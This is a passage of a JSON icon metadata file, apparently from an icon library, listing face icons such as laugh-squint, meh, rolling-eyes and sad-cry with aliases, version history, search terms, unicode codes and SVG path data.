        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM96.8 314.1c-3.8-13.7 7.4-26.1 21.6-26.1H393.6c14.2 0 25.5 12.4 21.6 26.1C396.2 382 332.1 432 256 432s-140.2-50-159.2-117.9zM217.6 212.8l0 0 0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0zm160 0l0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0 0 0z"
      },
      "regular": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm130.7 57.9c-4.2-13.6 7.1-25.9 21.3-25.9H364.5c14.2 0 25.5 12.4 21.3 25.9C369 368.4 318.2 408 258.2 408s-110.8-39.6-127.5-94.1zm86.9-85.1l0 0 0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0zm160 0l0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0 0 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm130.7 57.9c-4.2-13.6 7.1-25.9 21.3-25.9H364.5c14.2 0 25.5 12.4 21.3 25.9C369 368.4 318.2 408 258.2 408s-110.8-39.6-127.5-94.1zm86.9-85.1l0 0 0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0zm160 0l0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0 0 0z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-laugh-squint": {
    "aliases": {
      "names": ["laugh-squint"],
      "unicodes": {
        "secondary": ["10f59b"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["LOL", "emoticon", "face", "happy", "smile"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f59b",
    "label": "Face Laugh Squint",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM96.8 314.1c-3.8-13.7 7.4-26.1 21.6-26.1H393.6c14.2 0 25.5 12.4 21.6 26.1C396.2 382 332.1 432 256 432s-140.2-50-159.2-117.9zm36.7-199.4l89.9 47.9c10.7 5.7 10.7 21.1 0 26.8l-89.9 47.9c-7.9 4.2-17.5-1.5-17.5-10.5c0-2.8 1-5.5 2.8-7.6l36-43.2-36-43.2c-1.8-2.1-2.8-4.8-2.8-7.6c0-9 9.6-14.7 17.5-10.5zM396 125.1c0 2.8-1 5.5-2.8 7.6l-36 43.2 36 43.2c1.8 2.1 2.8 4.8 2.8 7.6c0 9-9.6 14.7-17.5 10.5l-89.9-47.9c-10.7-5.7-10.7-21.1 0-26.8l89.9-47.9c7.9-4.2 17.5 1.5 17.5 10.5z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM96.8 314.1c-3.8-13.7 7.4-26.1 21.6-26.1H393.6c14.2 0 25.5 12.4 21.6 26.1C396.2 382 332.1 432 256 432s-140.2-50-159.2-117.9zm36.7-199.4l89.9 47.9c10.7 5.7 10.7 21.1 0 26.8l-89.9 47.9c-7.9 4.2-17.5-1.5-17.5-10.5c0-2.8 1-5.5 2.8-7.6l36-43.2-36-43.2c-1.8-2.1-2.8-4.8-2.8-7.6c0-9 9.6-14.7 17.5-10.5zM396 125.1c0 2.8-1 5.5-2.8 7.6l-36 43.2 36 43.2c1.8 2.1 2.8 4.8 2.8 7.6c0 9-9.6 14.7-17.5 10.5l-89.9-47.9c-10.7-5.7-10.7-21.1 0-26.8l89.9-47.9c7.9-4.2 17.5 1.5 17.5 10.5z"
      },
      "regular": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm130.7 57.9c-4.2-13.6 7.1-25.9 21.3-25.9H364.5c14.2 0 25.5 12.4 21.3 25.9C369 368.4 318.2 408 258.2 408s-110.8-39.6-127.5-94.1zm2.8-183.3l89.9 47.9c10.7 5.7 10.7 21.1 0 26.8l-89.9 47.9c-7.9 4.2-17.5-1.5-17.5-10.5c0-2.8 1-5.5 2.8-7.6l36-43.2-36-43.2c-1.8-2.1-2.8-4.8-2.8-7.6c0-9 9.6-14.7 17.5-10.5zM396 141.1c0 2.8-1 5.5-2.8 7.6l-36 43.2 36 43.2c1.8 2.1 2.8 4.8 2.8 7.6c0 9-9.6 14.7-17.5 10.5l-89.9-47.9c-10.7-5.7-10.7-21.1 0-26.8l89.9-47.9c7.9-4.2 17.5 1.5 17.5 10.5z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm130.7 57.9c-4.2-13.6 7.1-25.9 21.3-25.9H364.5c14.2 0 25.5 12.4 21.3 25.9C369 368.4 318.2 408 258.2 408s-110.8-39.6-127.5-94.1zm2.8-183.3l89.9 47.9c10.7 5.7 10.7 21.1 0 26.8l-89.9 47.9c-7.9 4.2-17.5-1.5-17.5-10.5c0-2.8 1-5.5 2.8-7.6l36-43.2-36-43.2c-1.8-2.1-2.8-4.8-2.8-7.6c0-9 9.6-14.7 17.5-10.5zM396 141.1c0 2.8-1 5.5-2.8 7.6l-36 43.2 36 43.2c1.8 2.1 2.8 4.8 2.8 7.6c0 9-9.6 14.7-17.5 10.5l-89.9-47.9c-10.7-5.7-10.7-21.1 0-26.8l89.9-47.9c7.9-4.2 17.5 1.5 17.5 10.5z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-laugh-wink": {
    "aliases": {
      "names": ["laugh-wink"],
      "unicodes": {
        "secondary": ["10f59c"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["LOL", "emoticon", "face", "happy", "smile"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f59c",
    "label": "Face Laugh Wink",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM96.8 314.1c-3.8-13.7 7.4-26.1 21.6-26.1H393.6c14.2 0 25.5 12.4 21.6 26.1C396.2 382 332.1 432 256 432s-140.2-50-159.2-117.9zM144.4 192a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm156.4 25.6c-5.3 7.1-15.3 8.5-22.4 3.2s-8.5-15.3-3.2-22.4c30.4-40.5 91.2-40.5 121.6 0c5.3 7.1 3.9 17.1-3.2 22.4s-17.1 3.9-22.4-3.2c-17.6-23.5-52.8-23.5-70.4 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM96.8 314.1c-3.8-13.7 7.4-26.1 21.6-26.1H393.6c14.2 0 25.5 12.4 21.6 26.1C396.2 382 332.1 432 256 432s-140.2-50-159.2-117.9zM144.4 192a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm156.4 25.6c-5.3 7.1-15.3 8.5-22.4 3.2s-8.5-15.3-3.2-22.4c30.4-40.5 91.2-40.5 121.6 0c5.3 7.1 3.9 17.1-3.2 22.4s-17.1 3.9-22.4-3.2c-17.6-23.5-52.8-23.5-70.4 0z"
      },
      "regular": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm130.7 57.9c-4.2-13.6 7.1-25.9 21.3-25.9H364.5c14.2 0 25.5 12.4 21.3 25.9C369 368.4 318.2 408 258.2 408s-110.8-39.6-127.5-94.1zM144.4 192a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm165.8 21.7c-7.6 8.1-20.2 8.5-28.3 .9s-8.5-20.2-.9-28.3c14.5-15.5 35.2-22.3 54.6-22.3s40.1 6.8 54.6 22.3c7.6 8.1 7.1 20.7-.9 28.3s-20.7 7.1-28.3-.9c-5.5-5.8-14.8-9.7-25.4-9.7s-19.9 3.8-25.4 9.7z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm130.7 57.9c-4.2-13.6 7.1-25.9 21.3-25.9H364.5c14.2 0 25.5 12.4 21.3 25.9C369 368.4 318.2 408 258.2 408s-110.8-39.6-127.5-94.1zM144.4 192a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm165.8 21.7c-7.6 8.1-20.2 8.5-28.3 .9s-8.5-20.2-.9-28.3c14.5-15.5 35.2-22.3 54.6-22.3s40.1 6.8 54.6 22.3c7.6 8.1 7.1 20.7-.9 28.3s-20.7 7.1-28.3-.9c-5.5-5.8-14.8-9.7-25.4-9.7s-19.9 3.8-25.4 9.7z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-meh": {
    "aliases": {
      "names": ["meh"],
      "unicodes": {
        "composite": ["1f610"],
        "secondary": ["10f11a"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "5.0.9",
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "deadpan",
        "emoticon",
        "face",
        "meh",
        "neutral",
        "neutral face",
        "rating"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f11a",
    "label": "Face Meh",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM176.4 176a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm128 32a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zM160 336H352c8.8 0 16 7.2 16 16s-7.2 16-16 16H160c-8.8 0-16-7.2-16-16s7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM176.4 176a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm128 32a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zM160 336H352c8.8 0 16 7.2 16 16s-7.2 16-16 16H160c-8.8 0-16-7.2-16-16s7.2-16 16-16z"
      },
      "regular": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 1 48 256a208 208 0 1 1 416 0zM256 0a256 256 0 1 0 0 512A256 256 0 1 0 256 0zM176.4 240a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm192-32a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM184 328c-13.3 0-24 10.7-24 24s10.7 24 24 24H328c13.3 0 24-10.7 24-24s-10.7-24-24-24H184z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 1 48 256a208 208 0 1 1 416 0zM256 0a256 256 0 1 0 0 512A256 256 0 1 0 256 0zM176.4 240a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm192-32a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM184 328c-13.3 0-24 10.7-24 24s10.7 24 24 24H328c13.3 0 24-10.7 24-24s-10.7-24-24-24H184z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-meh-blank": {
    "aliases": {
      "names": ["meh-blank"],
      "unicodes": {
        "composite": ["1f636"],
        "secondary": ["10f5a4"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "emoticon",
        "face",
        "face without mouth",
        "mouth",
        "neutral",
        "quiet",
        "rating",
        "silent"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f5a4",
    "label": "Face Meh Blank",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm208.4-48a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm128 32a32 32 0 1 0 0-64 32 32 0 1 0 0 64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm208.4-48a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm128 32a32 32 0 1 0 0-64 32 32 0 1 0 0 64z"
      },
      "regular": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 48a208 208 0 1 0 0 416 208 208 0 1 0 0-416zM512 256A256 256 0 1 1 0 256a256 256 0 1 1 512 0zM144.4 208a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 48a208 208 0 1 0 0 416 208 208 0 1 0 0-416zM512 256A256 256 0 1 1 0 256a256 256 0 1 1 512 0zM144.4 208a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-rolling-eyes": {
    "aliases": {
      "names": ["meh-rolling-eyes"],
      "unicodes": {
        "composite": ["1f644"],
        "secondary": ["10f5a5"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "emoticon",
        "eyeroll",
        "eyes",
        "face",
        "face with rolling eyes",
        "neutral",
        "rating",
        "rolling"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f5a5",
    "label": "Face Rolling Eyes",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM192 368H320c8.8 0 16 7.2 16 16s-7.2 16-16 16H192c-8.8 0-16-7.2-16-16s7.2-16 16-16zm32-144c0 35.3-28.7 64-64 64s-64-28.7-64-64c0-26 15.5-48.4 37.8-58.4c-3.7 5.2-5.8 11.6-5.8 18.4c0 17.7 14.3 32 32 32s32-14.3 32-32c0-6.9-2.2-13.2-5.8-18.4C208.5 175.6 224 198 224 224zm128 64c-35.3 0-64-28.7-64-64c0-26 15.5-48.4 37.8-58.4c-3.7 5.2-5.8 11.6-5.8 18.4c0 17.7 14.3 32 32 32s32-14.3 32-32c0-6.9-2.2-13.2-5.8-18.4C400.5 175.6 416 198 416 224c0 35.3-28.7 64-64 64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM192 368H320c8.8 0 16 7.2 16 16s-7.2 16-16 16H192c-8.8 0-16-7.2-16-16s7.2-16 16-16zm32-144c0 35.3-28.7 64-64 64s-64-28.7-64-64c0-26 15.5-48.4 37.8-58.4c-3.7 5.2-5.8 11.6-5.8 18.4c0 17.7 14.3 32 32 32s32-14.3 32-32c0-6.9-2.2-13.2-5.8-18.4C208.5 175.6 224 198 224 224zm128 64c-35.3 0-64-28.7-64-64c0-26 15.5-48.4 37.8-58.4c-3.7 5.2-5.8 11.6-5.8 18.4c0 17.7 14.3 32 32 32s32-14.3 32-32c0-6.9-2.2-13.2-5.8-18.4C400.5 175.6 416 198 416 224c0 35.3-28.7 64-64 64z"
      },
      "regular": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 48a208 208 0 1 1 0 416 208 208 0 1 1 0-416zm0 464A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM168 376c0 13.3 10.7 24 24 24H320c13.3 0 24-10.7 24-24s-10.7-24-24-24H192c-13.3 0-24 10.7-24 24zm-8-104c-26.5 0-48-21.5-48-48c0-14.3 6.3-27.2 16.2-36c-.2 1.3-.2 2.6-.2 4c0 17.7 14.3 32 32 32s32-14.3 32-32c0-1.4-.1-2.7-.2-4c10 8.8 16.2 21.7 16.2 36c0 26.5-21.5 48-48 48zm0 32a80 80 0 1 0 0-160 80 80 0 1 0 0 160zm192-32c-26.5 0-48-21.5-48-48c0-14.3 6.3-27.2 16.2-36c-.2 1.3-.2 2.6-.2 4c0 17.7 14.3 32 32 32s32-14.3 32-32c0-1.4-.1-2.7-.2-4c10 8.8 16.2 21.7 16.2 36c0 26.5-21.5 48-48 48zm0 32a80 80 0 1 0 0-160 80 80 0 1 0 0 160z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 48a208 208 0 1 1 0 416 208 208 0 1 1 0-416zm0 464A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM168 376c0 13.3 10.7 24 24 24H320c13.3 0 24-10.7 24-24s-10.7-24-24-24H192c-13.3 0-24 10.7-24 24zm-8-104c-26.5 0-48-21.5-48-48c0-14.3 6.3-27.2 16.2-36c-.2 1.3-.2 2.6-.2 4c0 17.7 14.3 32 32 32s32-14.3 32-32c0-1.4-.1-2.7-.2-4c10 8.8 16.2 21.7 16.2 36c0 26.5-21.5 48-48 48zm0 32a80 80 0 1 0 0-160 80 80 0 1 0 0 160zm192-32c-26.5 0-48-21.5-48-48c0-14.3 6.3-27.2 16.2-36c-.2 1.3-.2 2.6-.2 4c0 17.7 14.3 32 32 32s32-14.3 32-32c0-1.4-.1-2.7-.2-4c10 8.8 16.2 21.7 16.2 36c0 26.5-21.5 48-48 48zm0 32a80 80 0 1 0 0-160 80 80 0 1 0 0 160z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-sad-cry": {
    "aliases": {
      "names": ["sad-cry"],
      "unicodes": {
        "composite": ["1f62d"],
        "secondary": ["10f5b3"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "cry",
        "emoticon",
        "face",
        "loudly crying face",
        "sad",
        "sob",
        "tear",
        "tears"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f5b3",
    "label": "Face Sad Cry",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M352 493.4c-29.6 12-62.1 18.6-96 18.6s-66.4-6.6-96-18.6V288c0-8.8-7.2-16-16-16s-16 7.2-16 16V477.8C51.5 433.5 0 350.8 0 256C0 114.6 114.6 0 256 0S512 114.6 512 256c0 94.8-51.5 177.5-128 221.8V288c0-8.8-7.2-16-16-16s-16 7.2-16 16V493.4zM195.2 233.6c5.3 7.1 15.3 8.5 22.4 3.2s8.5-15.3 3.2-22.4c-30.4-40.5-91.2-40.5-121.6 0c-5.3 7.1-3.9 17.1 3.2 22.4s17.1 3.9 22.4-3.2c17.6-23.5 52.8-23.5 70.4 0zm121.6 0c17.6-23.5 52.8-23.5 70.4 0c5.3 7.1 15.3 8.5 22.4 3.2s8.5-15.3 3.2-22.4c-30.4-40.5-91.2-40.5-121.6 0c-5.3 7.1-3.9 17.1 3.2 22.4s17.1 3.9 22.4-3.2zM208 336v32c0 26.5 21.5 48 48 48s48-21.5 48-48V336c0-26.5-21.5-48-48-48s-48 21.5-48 48z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M352 493.4c-29.6 12-62.1 18.6-96 18.6s-66.4-6.6-96-18.6V288c0-8.8-7.2-16-16-16s-16 7.2-16 16V477.8C51.5 433.5 0 350.8 0 256C0 114.6 114.6 0 256 0S512 114.6 512 256c0 94.8-51.5 177.5-128 221.8V288c0-8.8-7.2-16-16-16s-16 7.2-16 16V493.4zM195.2 233.6c5.3 7.1 15.3 8.5 22.4 3.2s8.5-15.3 3.2-22.4c-30.4-40.5-91.2-40.5-121.6 0c-5.3 7.1-3.9 17.1 3.2 22.4s17.1 3.9 22.4-3.2c17.6-23.5 52.8-23.5 70.4 0zm121.6 0c17.6-23.5 52.8-23.5 70.4 0c5.3 7.1 15.3 8.5 22.4 3.2s8.5-15.3 3.2-22.4c-30.4-40.5-91.2-40.5-121.6 0c-5.3 7.1-3.9 17.1 3.2 22.4s17.1 3.9 22.4-3.2zM208 336v32c0 26.5 21.5 48 48 48s48-21.5 48-48V336c0-26.5-21.5-48-48-48s-48 21.5-48 48z"
      },
      "regular": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M400 406.1V288c0-13.3-10.7-24-24-24s-24 10.7-24 24V440.6c-28.7 15-61.4 23.4-96 23.4s-67.3-8.5-96-23.4V288c0-13.3-10.7-24-24-24s-24 10.7-24 24V406.1C72.6 368.2 48 315 48 256C48 141.1 141.1 48 256 48s208 93.1 208 208c0 59-24.6 112.2-64 150.1zM256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM159.6 220c10.6 0 19.9 3.8 25.4 9.7c7.6 8.1 20.2 8.5 28.3 .9s8.5-20.2 .9-28.3C199.7 186.8 179 180 159.6 180s-40.1 6.8-54.6 22.3c-7.6 8.1-7.1 20.7 .9 28.3s20.7 7.1 28.3-.9c5.5-5.8 14.8-9.7 25.4-9.7zm166.6 9.7c5.5-5.8 14.8-9.7 25.4-9.7s19.9 3.8 25.4 9.7c7.6 8.1 20.2 8.5 28.3 .9s8.5-20.2 .9-28.3C391.7 186.8 371 180 351.6 180s-40.1 6.8-54.6 22.3c-7.6 8.1-7.1 20.7 .9 28.3s20.7 7.1 28.3-.9zM208 320v32c0 26.5 21.5 48 48 48s48-21.5 48-48V320c0-26.5-21.5-48-48-48s-48 21.5-48 48z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M400 406.1V288c0-13.3-10.7-24-24-24s-24 10.7-24 24V440.6c-28.7 15-61.4 23.4-96 23.4s-67.3-8.5-96-23.4V288c0-13.3-10.7-24-24-24s-24 10.7-24 24V406.1C72.6 368.2 48 315 48 256C48 141.1 141.1 48 256 48s208 93.1 208 208c0 59-24.6 112.2-64 150.1zM256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM159.6 220c10.6 0 19.9 3.8 25.4 9.7c7.6 8.1 20.2 8.5 28.3 .9s8.5-20.2 .9-28.3C199.7 186.8 179 180 159.6 180s-40.1 6.8-54.6 22.3c-7.6 8.1-7.1 20.7 .9 28.3s20.7 7.1 28.3-.9c5.5-5.8 14.8-9.7 25.4-9.7zm166.6 9.7c5.5-5.8 14.8-9.7 25.4-9.7s19.9 3.8 25.4 9.7c7.6 8.1 20.2 8.5 28.3 .9s8.5-20.2 .9-28.3C391.7 186.8 371 180 351.6 180s-40.1 6.8-54.6 22.3c-7.6 8.1-7.1 20.7 .9 28.3s20.7 7.1 28.3-.9zM208 320v32c0 26.5 21.5 48 48 48s48-21.5 48-48V320c0-26.5-21.5-48-48-48s-48 21.5-48 48z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-sad-tear": {
    "aliases": {
      "names": ["sad-tear"],
      "unicodes": {
        "composite": ["1f622"],
        "secondary": ["10f5b4"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "cry",
        "crying face",
        "emoticon",
        "face",
        "sad",
        "tear",
        "tears"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f5b4",
    "label": "Face Sad Tear",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767582,
